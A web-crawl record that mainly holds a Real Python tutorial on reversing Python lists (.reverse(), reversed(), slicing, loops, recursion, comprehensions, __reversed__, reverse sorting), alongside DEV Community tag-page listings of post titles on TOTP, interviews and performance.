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https://forem.com/t/howitworks | Howitworks - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # howitworks Follow Hide Create Post Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Understanding TOTP: What Really Happens When You Generate That 6-Digit Code Yusuf Adeyemo Yusuf Adeyemo Yusuf Adeyemo Follow Dec 8 '25 Understanding TOTP: What Really Happens When You Generate That 6-Digit Code # totp # authentication # google # howitworks 6 reactions Comments 2 comments 5 min read How Internet Search Works Jayant Jayant Jayant Follow Jun 14 '24 How Internet Search Works # internet # google # howitworks # career 6 reactions Comments Add Comment 2 min read Under the hood: How fake uploaded files work in Laravel Daniel Werner Daniel Werner Daniel Werner Follow Aug 20 '19 Under the hood: How fake uploaded files work in Laravel # laravel # php # howitworks 7 reactions Comments Add Comment 2 min read Open the Envelope: How transform encryption works with envelope encryption. Madison Kerndt Madison Kerndt Madison Kerndt Follow Oct 18 '18 Open the Envelope: How transform encryption works with envelope encryption. # encryption # cryptography # infographic # howitworks 9 reactions Comments Add Comment 2 min read loading... trending guides/resources Understanding TOTP: What Really Happens When You Generate That 6-Digit Code 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account | 2026-01-13T08:49:26 |
https://dev.to/t/interview/page/12 | Interview Page 12 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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Right menu MVI interview Questions - 1 Vigneshwaralingam Vigneshwaralingam Vigneshwaralingam Follow Oct 16 '25 MVI interview Questions - 1 # interview # java # payilagam # programming 10 reactions Comments Add Comment 1 min read JS + DSA Roadmap (3–4 Months) Nitin Malviya Nitin Malviya Nitin Malviya Follow Oct 27 '25 JS + DSA Roadmap (3–4 Months) # datastructures # javascript # webdev # interview 1 reaction Comments Add Comment 1 min read Frontend & Java script Interview Questions Nitin Malviya Nitin Malviya Nitin Malviya Follow Oct 27 '25 Frontend & Java script Interview Questions # frontend # webdev # programming # interview 3 reactions Comments Add Comment 6 min read Final Round AI vs. Verve AI: Which AI Interview Copilot Boosts Your Job Offers the Most? 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Follow Sep 18 '25 First Technical Interview # interview # learning # programming # career Comments Add Comment 1 min read 🔁 RingCentral – Round 2: Implement `JSON.stringify()` from scratch Mehul Lakhanpal Mehul Lakhanpal Mehul Lakhanpal Follow Sep 18 '25 🔁 RingCentral – Round 2: Implement `JSON.stringify()` from scratch # webdev # javascript # frontend # interview 1 reaction Comments Add Comment 1 min read Some rejections hit hard Manasvi Pal Manasvi Pal Manasvi Pal Follow Oct 26 '25 Some rejections hit hard # career # interview # mentalhealth Comments 5 comments 1 min read BlackRock Quant Interview Guide: Full Breakdown + Tips to Avoid Mistakes net programhelp net programhelp net programhelp Follow Oct 22 '25 BlackRock Quant Interview Guide: Full Breakdown + Tips to Avoid Mistakes # career # interview # tutorial Comments Add Comment 5 min read Mastering PHP Interviews: Common Questions and Expert Answers Rishabh parmar Rishabh parmar Rishabh parmar Follow Sep 18 '25 Mastering PHP Interviews: Common Questions and Expert Answers # phpinterview # php # programming # interview Comments Add Comment 5 min read 🚀 Matters AI (Prev. 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https://realpython.com/python-reverse-list/ | Reverse Python Lists: Beyond .reverse() and reversed() – Real Python Start Here Learn Python Python Tutorials → In-depth articles and video courses Learning Paths → Guided study plans for accelerated learning Quizzes & Exercises → Check your learning progress Browse Topics → Focus on a specific area or skill level Community Chat → Learn with other Pythonistas Office Hours → Live Q&A calls with Python experts Podcast → Hear what’s new in the world of Python Books → Round out your knowledge and learn offline Reference → Concise definitions for common Python terms Code Mentor → Beta Personalized code assistance & learning tools Unlock All Content → More Learner Stories Python Newsletter Python Job Board Meet the Team Become a Tutorial Writer Become a Video Instructor Search / Join Sign‑In — FREE Email Series — 🐍 Python Tricks 💌 Get Python Tricks » 🔒 No spam. Unsubscribe any time. Browse Topics Guided Learning Paths Basics Intermediate Advanced ai algorithms api best-practices career community databases data-science data-structures data-viz devops django docker editors flask front-end gamedev gui machine-learning news numpy projects python stdlib testing tools web-dev web-scraping Table of Contents Reversing Python Lists Reversing Lists in Place Creating Reversed Lists Reversing Lists Through Slicing Generating Reversed Lists by Hand Using a Loop Using Recursion Using a List Comprehension Iterating Through Lists in Reverse The Built-in reversed() Function The Slicing Operator, [::-1] The Special Method .__reversed__() Reversing Python Lists: A Summary Sorting Python Lists in Reverse Order Conclusion Mark as Completed Share Reverse Python Lists: Beyond .reverse() and reversed() by Leodanis Pozo Ramos Reading time estimate 26m basics python Mark as Completed Share Table of Contents Reversing Python Lists Reversing Lists in Place Creating Reversed Lists Reversing Lists Through Slicing Generating Reversed Lists by Hand Using a Loop Using Recursion Using a List Comprehension Iterating Through Lists in Reverse The Built-in reversed() Function The Slicing Operator, [::-1] The Special Method .__reversed__() Reversing Python Lists: A Summary Sorting Python Lists in Reverse Order Conclusion Remove ads Are you diving deeper into Python lists and wanting to learn about different ways to reverse them? If so, then this tutorial is for you. Here, you’ll learn about a few Python tools and techniques that are handy when it comes to reversing lists or manipulating them in reverse order. This knowledge will complement and improve your list-related skills and make you more proficient with them. In this tutorial, you’ll learn how to: Reverse existing lists in place using .reverse() and other techniques Create reversed copies of existing lists using reversed() and slicing Use iteration , comprehensions , and recursion to create reversed lists Iterate over your lists in reverse order Sort your lists in reverse order using .sort() and sorted() To get the most out of this tutorial, it would be helpful to know the basics of iterables , for loops , lists , list comprehensions , generator expressions , and recursion . Free Bonus: Click here to get a Python Cheat Sheet and learn the basics of Python 3, like working with data types, dictionaries, lists, and Python functions. Reversing Python Lists Sometimes you need to process Python lists starting from the last element down to the first—in other words, in reverse order . In general, there are two main challenges related to working with lists in reverse: Reversing a list in place Creating reversed copies of an existing list To meet the first challenge, you can use either .reverse() or a loop that swaps items by index. For the second, you can use reversed() or a slicing operation . In the next sections, you’ll learn about different ways to accomplish both in your code. Remove ads Reversing Lists in Place Like other mutable sequence types, Python lists implement .reverse() . This method reverses the underlying list in place for memory efficiency when you’re reversing large list objects. Here’s how you can use .reverse() : Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> digits . reverse () >>> digits [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] When you call .reverse() on an existing list, the method reverses it in place. This way, when you access the list again, you get it in reverse order. Note that .reverse() doesn’t return a new list but None : Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> reversed_digits = digits . reverse () >>> reversed_digits is None True Trying to assign the return value of .reverse() to a variable is a common mistake related to using this method. The intent of returning None is to remind its users that .reverse() operates by side effect , changing the underlying list. Note: Most of the examples in this tutorial use a list of numbers as input. However, the same tools and techniques apply to lists of any type of Python objects, such as lists of strings . Okay! That was quick and straightforward! Now, how can you reverse a list in place by hand? A common technique is to loop through the first half of it while swapping each element with its mirror counterpart on the second half of the list. Python provides zero-based positive indices to walk sequences from left to right. It also allows you to navigate sequences from right to left using negative indices: This diagram shows that you can access the first element of the list (or sequence) using either 0 or -5 with the indexing operator, like in sequence[0] and sequence[-5] , respectively. You can use this Python feature to reverse the underlying sequence in place. For example, to reverse the list represented in the diagram, you can loop over the first half of the list and swap the element at index 0 with its mirror at index -1 in the first iteration. Then you can switch the element at index 1 with its mirror at index -2 and so on until you get the list reversed. Here’s a representation of the whole process: To translate this process into code, you can use a for loop with a range object over the first half of the list, which you can get with len(digits) // 2 . Then you can use a parallel assignment statement to swap the elements, like this: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> for i in range ( len ( digits ) // 2 ): ... digits [ i ], digits [ - 1 - i ] = digits [ - 1 - i ], digits [ i ] ... >>> digits [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] This loop iterates through a range object that goes from 0 to len(digits) // 2 . Each iteration swaps an item from the first half of the list with its mirror counterpart in the second half. The expression -1 - i inside the indexing operator, [] , guarantees access to the mirror item. You can also use the expression -1 * (i + 1) to provide the corresponding mirror index. Besides the above algorithm, which takes advantage of index substitution , there are a few different ways to reverse lists by hand. For example, you can use .pop() and .insert() like this: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> for i in range ( len ( digits )): ... last_item = digits . pop () ... digits . insert ( i , last_item ) ... >>> digits [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] In the loop, you call .pop() on the original list without arguments. This call removes and returns the last item in the list, so you can store it in last_item . Then .insert() moves last_item to the position at index i . For example, the first iteration removes 9 from the right end of the list and stores it in last_item . Then it inserts 9 at index 0 . The next iteration takes 8 and moves it to index 1 , and so on. At the end of the loop, you get the list reversed in place. Remove ads Creating Reversed Lists If you want to create a reversed copy of an existing list in Python, then you can use reversed() . With a list as an argument, reversed() returns an iterator that yields items in reverse order: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> reversed_digits = reversed ( digits ) >>> reversed_digits <list_reverseiterator object at 0x7fca9999e790> >>> list ( reversed_digits ) [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] In this example, you call reversed() with digits as an argument. Then you store the resulting iterator in reversed_digits . The call to list() consumes the iterator and returns a new list containing the same items as digits but in reverse order. An important point to note when you’re using reversed() is that it doesn’t create a copy of the input list, so changes on it affect the resulting iterator: Python >>> fruits = [ "apple" , "banana" , "orange" ] >>> reversed_fruit = reversed ( fruits ) # Get the iterator >>> fruits [ - 1 ] = "kiwi" # Modify the last item >>> next ( reversed_fruit ) # The iterator sees the change 'kiwi' In this example, you call reversed() to get the corresponding iterator over the items in fruits . Then you modify the last fruit. This change affects the iterator. You can confirm that by calling next() to get the first item in reversed_fruit . If you need to get a copy of fruits using reversed() , then you can call list() : Python >>> fruits = [ "apple" , "banana" , "orange" ] >>> list ( reversed ( fruits )) ['orange', 'banana', 'apple'] As you already know, the call to list() consumes the iterator that results from calling reversed() . This way, you create a new list as a reversed copy of the original one. Python 2.4 added reversed() , a universal tool to facilitate reverse iteration over sequences, as stated in PEP 322 . In general, reversed() can take any objects that implement a .__reversed__() method or that support the sequence protocol , consisting of two special methods , .__len__() and .__getitem__() . So, reversed() isn’t limited to lists: Python >>> list ( reversed ( range ( 10 ))) [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] >>> list ( reversed ( "Python" )) ['n', 'o', 'h', 't', 'y', 'P'] Here, instead of a list, you pass a range object and a string as arguments to reversed() . The function does its job as expected, and you get a reversed version of the input data. Another important point to highlight is that you can’t use reversed() with arbitrary iterators: Python >>> digits = iter ([ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ]) >>> reversed ( digits ) Traceback (most recent call last): File "<stdin>" , line 1 , in <module> TypeError : 'list_iterator' object is not reversible In this example, iter() builds an iterator over your list of numbers. When you call reversed() on digits , you get a TypeError . Iterators implement the .__next__() special method to walk through the underlying data. They’re also expected to implement the .__iter__() special method to return the current iterator instance. However, they’re not expected to implement either .__reversed__() or the sequence protocol. So, reversed() doesn’t work for them. If you ever need to reverse an iterator like this, then you should first convert it to a list using list() . Another point to note is that you can’t use reversed() with unordered iterables: Python >>> digits = { 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 } >>> reversed ( digits ) Traceback (most recent call last): File "<stdin>" , line 1 , in <module> TypeError : 'set' object is not reversible In this example, when you try to use reversed() with a set object, you get a TypeError . This is because sets don’t keep their items ordered, so Python doesn’t know how to reverse them. Remove ads Reversing Lists Through Slicing Since Python 1.4, the slicing syntax has had a third argument, called step . However, that syntax initially didn’t work on built-in types, such as lists, tuples, and strings. Python 2.3 extended the syntax to built-in types, so you can use step with them now. Here’s the full-blown slicing syntax: Python a_list [ start : stop : step ] This syntax allows you to extract all the items in a_list from start to stop − 1 by step . The third index, step , defaults to 1 , which is why a normal slicing operation extracts the items from left to right: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> digits [ 1 : 5 ] [1, 2, 3, 4] With [1:5] , you get the items from index 1 to index 5 - 1 . The item with the index equal to stop is never included in the final result. This slicing returns all the items in the target range because step defaults to 1 . Note: You can omit the second colon ( : ) in a slicing operator when the default value ( 1 ) meets your current needs. If you use a different step , then the slicing jumps as many items as the value of step : Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> digits [ 0 :: 2 ] [0, 2, 4, 6, 8] >>> digits [:: 3 ] [0, 3, 6, 9] In the first example, [0::2] extracts all items from index 0 to the end of digits , jumping over two items each time. In the second example, the slicing jumps 3 items as it goes. If you don’t provide values to start and stop , then they are set to 0 and to the length of the target sequence, respectively. If you set step to -1 , then you get a slice with the items in reverse order: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> # Set step to -1 >>> digits [ len ( digits ) - 1 :: - 1 ] [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] >>> digits [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] This slicing returns all the items from the right end of the list ( len(digits) - 1 ) back to the left end because you omit the second index. The rest of the magic in this example comes from using a value of -1 for step . When you run this trick, you get a copy of the original list in reverse order without affecting the input data. If you fully rely on implicit indices, then the slicing syntax gets shorter, cleaner, and less error-prone: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> # Rely on default index values >>> digits [:: - 1 ] [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] Here, you ask Python to give you the complete list ( [::-1] ) but going over all the items from back to front by setting step to -1 . This is pretty neat, but reversed() is more efficient in terms of execution time and memory usage. It’s also more readable and explicit. So these are points to consider in your code. Another technique to create a reversed copy of an existing list is to use slice() . The signature of this built-in function is like this: Python slice ( start , stop , step ) This function works similarly to the indexing operator. It takes three arguments with similar meaning to those used in the slicing operator and returns a slice object representing the set of indices returned by range(start, stop, step) . That sounds complicated, so here are some examples of how slice() works: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> slice ( 0 , len ( digits )) slice(0, 10, None) >>> digits [ slice ( 0 , len ( digits ))] [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] >>> slice ( len ( digits ) - 1 , None , - 1 ) slice(9, None, -1) >>> digits [ slice ( len ( digits ) - 1 , None , - 1 )] [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] The first call to slice() is equivalent to [0:len(digits)] . The second call works the same as [len(digits) - 1::-1] . You can also emulate the slicing [::-1] using slice(None, None, -1) . In this case, passing None to start and stop means that you want a slice from the beginning to the end of the target sequence. Note: Under the hood, slicing literals create slice objects. So, when you omit an index like in [::-1] , it works as if you pass None to the corresponding argument in a call to slice() . Here’s how you can use slice() to create a reversed copy of an existing list: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> digits [ slice ( None , None , - 1 )] [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] The slice object extracts all the items from digits , starting from the right end back to the left end, and returns a reversed copy of the target list. Remove ads Generating Reversed Lists by Hand So far, you’ve seen a few tools and techniques to either reverse lists in place or create reversed copies of existing lists. Most of the time, these tools and techniques are the way to go when it comes to reversing lists in Python. However, if you ever need to reverse lists by hand, then it’d be beneficial for you to understand the logic behind the process. In this section, you’ll learn how to reverse Python lists using loops, recursion, and comprehensions. The idea is to get a list and create a copy of it in reverse order. Using a Loop The first technique you’ll use to reverse a list involves a for loop and a list concatenation using the plus symbol ( + ): Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> def reversed_list ( a_list ): ... result = [] ... for item in a_list : ... result = [ item ] + result ... return result ... >>> reversed_list ( digits ) [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] Every iteration of the for loop takes a subsequent item from a_list and creates a new list that results from concatenating [item] and result , which initially holds an empty list. The newly created list is reassigned to result . This function doesn’t modify a_list . Note: The example above uses a wasteful technique because it creates several lists only to throw them away in the next iteration. You can also take advantage of .insert() to create reversed lists with the help of a loop: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> def reversed_list ( a_list ): ... result = [] ... for item in a_list : ... result . insert ( 0 , item ) ... return result ... >>> reversed_list ( digits ) [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] The call to .insert() inside the loop inserts subsequent items at the 0 index of result . At the end of the loop, you get a new list with the items of a_list in reverse order. Using .insert() like in the above example has a significant drawback. Insert operations at the left end of Python lists are known to be inefficient regarding execution time. That’s because Python needs to move all the items one step back to insert the new item at the first position. Using Recursion You can also use recursion to reverse your lists. Recursion is when you define a function that calls itself. This creates a loop that can become infinite if you don’t provide a base case that produces a result without calling the function again. You need the base case to end the recursive loop. When it comes to reversing lists, the base case would be reached when the recursive calls get to the end of the input list. You also need to define the recursive case , which reduces all successive cases toward the base case and, therefore, to the loop’s end. Here’s how you can define a recursive function to return a reversed copy of a given list: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> def reversed_list ( a_list ): ... if len ( a_list ) == 0 : # Base case ... return a_list ... else : ... # print(a_list) ... # Recursive case ... return reversed_list ( a_list [ 1 :]) + a_list [: 1 ] ... >>> reversed_list ( digits ) [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] Inside reversed_list() , you first check the base case, in which the input list is empty and makes the function return. The else clause provides the recursive case, which is a call to reversed_list() itself but with a slice of the original list, a_list[1:] . This slice contains all the items in a_list except for the first item, which is then added as a single-item list ( a_list[:1] ) to the result of the recursive call. Note: In the recursive case, you can replace a_list[:1] with [a_list[0]] to get a similar result. The commented call to print() at the beginning of the else clause is just a trick intended to show how subsequent calls reduce the input list toward the base case. Go ahead and uncomment the line to see what happens! Remove ads Using a List Comprehension If you’re working with lists in Python, then you probably want to consider using a list comprehension . This tool is quite popular in the Python space because it represents the Pythonic way to process lists. Here’s an example of how to use a list comprehension to create a reversed list: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> last_index = len ( digits ) - 1 >>> [ digits [ i ] for i in range ( last_index , - 1 , - 1 )] [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] The magic in this list comprehension comes from the call to range() . In this case, range() returns indices from len(digits) - 1 back to 0 . This makes the comprehension loop iterate over the items in digits in reverse, creating a new reversed list in the process. Iterating Through Lists in Reverse Up to this point, you’ve learned how to create reversed lists and also how to reverse existing lists in place, either by using tools specially designed to accomplish that task or by using your own hand-coded solutions. In day-to-day programming, you might find that iterating through existing lists and sequences in reverse order, typically known as reverse iteration , is a fairly common requirement. If that’s your case, then you have several options. Depending on your specific needs, you can use: The built-in function reversed() The slicing operator, [::] The special method .__reversed__() In the following few sections, you’ll learn about all these options and how they can help you iterate over lists in reverse order. The Built-in reversed() Function Your first approach to iterating over a list in reverse order might be to use reversed() . This built-in function was specially designed to support reverse iteration. With a list as an argument, it returns an iterator that yields the input list items in reverse order. Here’s how you can use reversed() to iterate through the items in a list in reverse order: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> for digit in reversed ( digits ): ... print ( digit ) ... 9 8 7 6 5 4 3 2 1 0 The first thing to note in this example is that the for loop is highly readable. The name of reversed() clearly expresses its intent, with the subtle detail of communicating that the function doesn’t produce any side effects. In other words, it doesn’t modify the input list. The loop is also efficient in terms of memory usage because reversed() returns an iterator that yields items on demand without storing them all in memory at the same time. Again, a subtle detail to note is that if the input list changes during the iteration, then the iterator sees the changes. The Slicing Operator, [::-1] The second approach to reverse iteration is to use the extended slicing syntax you saw before. This syntax does nothing in favor of memory efficiency, beauty, or clarity. Still, it provides a quick way to iterate over a reversed copy of an existing list without the risk of being affected by changes in the original list. Here’s how you can use [::-1] to iterate through a copy of an existing list in reverse order: Python >>> digits = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> for digit in digits [:: - 1 ]: ... print ( digit ) ... 9 8 7 6 5 4 3 2 1 0 When you slice a list like in this example, you create a reversed copy of the original list. Initially, both lists contain references to the same group of items. However, if you assign a new value to a given item in the original list, like in digits[0] = "zero" , then the reference changes to point to the new value. This way, changes on the input list don’t affect the copy. Note: Compared to extended slicing, reversed() is way more readable, runs faster, and uses substantially less memory. However, it’s affected by changes in the input list. You can take advantage of this kind of slicing to safely modify the original list while you iterate over its old items in reverse order. For example, say you need to iterate over a list of numbers in reverse order and replace every number with its square value. In this case, you can do something like this: Python >>> numbers = [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] >>> for i , number in enumerate ( numbers [:: - 1 ]): ... numbers [ i ] = number ** 2 ... >>> # Square values in reverse order >>> numbers [81, 64, 49, 36, 25, 16, 9, 4, 1, 0] Here, the loop iterates through a reversed copy of numbers . The call to enumerate() provides ascending zero-based indices for each item in the reversed copy. That allows you to modify numbers during the iteration. Then the loop modifies the numbers by replacing each item with its square value. As a result, numbers ends up containing square values in reverse order. Remove ads The Special Method .__reversed__() Python lists implement a special method called .__reversed__() that enables reverse iteration. This method provides the logic behind reversed() . In other words, a call to reversed() with a list as an argument triggers an implicit call to .__reversed__() on the input list. This special method returns an iterator over the items of the current list in reverse order. However, .__reversed__() isn’t intended to be used directly. Most of the time, you’ll use it to equip your own classes with reverse iteration capabilities. For example, say you want to iterate over a range of floating-point numbers. You can’t use range() , so you decide to create your own class to approach this specific use case. You end up with a class like this: Python # float_range.py class FloatRange : def __init__ ( self , start , stop , step = 1.0 ): if start >= stop : raise ValueError ( "Invalid range" ) self . start = start self . stop = stop self . step = step def __iter__ ( self ): n = self . start while n < self . stop : yield n n += self . step def __reversed__ ( self ): n = self . stop - self . step while n >= self . start : yield n n -= self . step This class isn’t perfect. It’s just your first version. However, it allows you to iterate through an interval of floating-point numbers using a fixed increment value, step . In your class, .__iter__() provides support for normal iteration and .__reversed__() supports reverse iteration. To use FloatRange , you can do something like this: Python >>> from float_range import FloatRange >>> for number in FloatRange ( 0.0 , 5.0 , 0.5 ): ... print ( number ) ... 0.0 0.5 1.0 1.5 2.0 2.5 3.0 3.5 4.0 4.5 The class supports normal iteration, which, as mentioned, is provided by .__iter__() . Now you can try to iterate in reverse order using reversed() : Python >>> from float_range import FloatRange >>> for number in reversed ( FloatRange ( 0.0 , 5.0 , 0.5 )): ... print ( number ) ... 4.5 4.0 3.5 3.0 2.5 2.0 1.5 1.0 0.5 0.0 In this example, reversed() relies on your .__reversed__() implementation to provide the reverse iteration functionality. This way, you have a working floating-point iterator. Reversing Python Lists: A Summary Up to this point, you’ve learned a lot about reversing lists using different tools and techniques. Here’s a table that summarizes the more important points you’ve already covered: Feature .reverse() reversed() [::-1] Loop List Comp Recursion Modifies the list in place ✔ ❌ ❌ ✔/❌ ❌ ❌ Creates a copy of the list ❌ ❌ ✔ ✔/❌ ✔ ✔ Is fast ✔ ✔ ❌ ❌ ✔ ❌ Is universal ❌ ✔ ✔ ✔ ✔ ✔ A quick look at this summary will allow you to decide which tool or technique to use when you’re reversing lists in place, creating reversed copies of existing lists, or iterating over your lists in reverse order. Sorting Python Lists in Reverse Order Another interesting option when it comes to reversing lists in Python is to use .sort() and sorted() to sort them in reverse order. To do that, you can pass True to their respective reverse argument. Note: To dive deeper into how to use .sort() and sorted() , check out How to Use sorted() and .sort() in Python . The goal of .sort() is to sort the items of a list. The sorting is done in place, so it doesn’t create a new list. If you set the reverse keyword argument to True , then you get the list sorted in descending or reverse order: Python >>> digits = [ 0 , 5 , 7 , 3 , 4 , 9 , 1 , 6 , 3 , 8 ] >>> digits . sort ( reverse = True ) >>> digits [9, 8, 7, 6, 5, 4, 3, 3, 1, 0] Now your list is fully sorted and also in reverse order. This is quite convenient when you’re working with some data and you need to sort it and reverse it at the same time. On the other hand, if you want to iterate over a sorted list in reverse order, then you can use sorted() . This built-in function returns a new list containing all the items of the input iterable in order. If you pass True to its reverse keyword argument, then you get a reversed copy of the initial list: Python >>> digits = [ 0 , 5 , 7 , 3 , 4 , 9 , 1 , 6 , 3 , 8 ] >>> sorted ( digits , reverse = True ) [9, 8, 7, 6, 5, 4, 3, 3, 1, 0] >>> for digit in sorted ( digits , reverse = True ): ... print ( digit ) ... 9 8 7 6 5 4 3 3 1 0 The reverse argument to sorted() allows you to sort iterables in descending order instead of in ascending order. So, if you need to create sorted lists in reverse order, then sorted() is for you. Remove ads Conclusion Reversing and working with lists in reverse order might be a fairly common task in your day-to-day work as a Python coder. In this tutorial, you took advantage of a couple of Python tools and techniques to reverse your lists and manage them in reverse order. In this tutorial, you learned how to: Reverse your lists in place using .reverse() and other techniques Use reversed() and slicing to create reversed copies of your lists Use iteration , comprehensions , and recursion to create reversed lists Iterate through your lists in reverse order Sort lists in reverse order using .sort() and sorted() All of this knowledge helps you improve your list-related skills. It provides you with the required tools to be more proficient when you’re working with Python lists. Mark as Completed Share 🐍 Python Tricks 💌 Get a short & sweet Python Trick delivered to your inbox every couple of days. No spam ever. Unsubscribe any time. Curated by the Real Python team. Send Me Python Tricks » About Leodanis Pozo Ramos Leodanis is a self-taught Python developer, educator, and technical writer with over 10 years of experience. » More about Leodanis Each tutorial at Real Python is created by a team of developers so that it meets our high quality standards. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Performance Follow Hide Tag for content related to software performance. Create Post submission guidelines Articles should be obviously related to software performance in some way. Possible topics include, but are not limited to: Performance Testing Performance Analysis Optimising for performance Scalability Resilience But most of all, be kind and humble. 💜 Older #performance posts 3 4 5 6 7 8 9 10 11 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu NVMe vs SATA VPS: Real-World Performance Explained Taha Taha Taha Follow Dec 30 '25 NVMe vs SATA VPS: Real-World Performance Explained # cloudcomputing # devops # performance Comments Add Comment 2 min read 30 Core Algorithm:EP-05: Sliding Window Algorithm Aditya singh Aditya singh Aditya singh Follow Dec 30 '25 30 Core Algorithm:EP-05: Sliding Window Algorithm # algorithms # computerscience # performance Comments Add Comment 3 min read Handling App Scalability When User Growth Suddenly Spikes Lacey Glenn Lacey Glenn Lacey Glenn Follow Dec 30 '25 Handling App Scalability When User Growth Suddenly Spikes # architecture # performance # systemdesign Comments Add Comment 4 min read Why averages lie: p99 latency is what users actually feel Kinan Nasri Kinan Nasri Kinan Nasri Follow Dec 30 '25 Why averages lie: p99 latency is what users actually feel # performance # python # systems # opensource 1 reaction Comments Add Comment 1 min read Understanding SQL Window Functions (Part 2) InterSystems Developer InterSystems Developer InterSystems Developer Follow for InterSystems Dec 30 '25 Understanding SQL Window Functions (Part 2) # performance # sql # programming # analytics Comments Add Comment 8 min read Best Image Optimization Tools for WordPress Agencies Bianca Rus Bianca Rus Bianca Rus Follow Dec 30 '25 Best Image Optimization Tools for WordPress Agencies # webdev # performance # wordpress # plugin Comments Add Comment 7 min read 30 Core Algorithm : Ep-06 :Prefix Sum Aditya singh Aditya singh Aditya singh Follow Dec 30 '25 30 Core Algorithm : Ep-06 :Prefix Sum # algorithms # computerscience # performance Comments Add Comment 2 min read Introducing mmapfile: Unlock Fast File Access in Go with Memory-Mapped I/O dw1 dw1 dw1 Follow Jan 4 Introducing mmapfile: Unlock Fast File Access in Go with Memory-Mapped I/O # go # performance # opensource Comments Add Comment 6 min read Video Bitrate Guide: Optimal Settings for Live Streaming Akeel Almas Akeel Almas Akeel Almas Follow Dec 31 '25 Video Bitrate Guide: Optimal Settings for Live Streaming # networking # performance # tutorial Comments Add Comment 8 min read How to Run Professional Performance Audits Rocktim M Rocktim M Rocktim M Follow for Zopdev Dec 30 '25 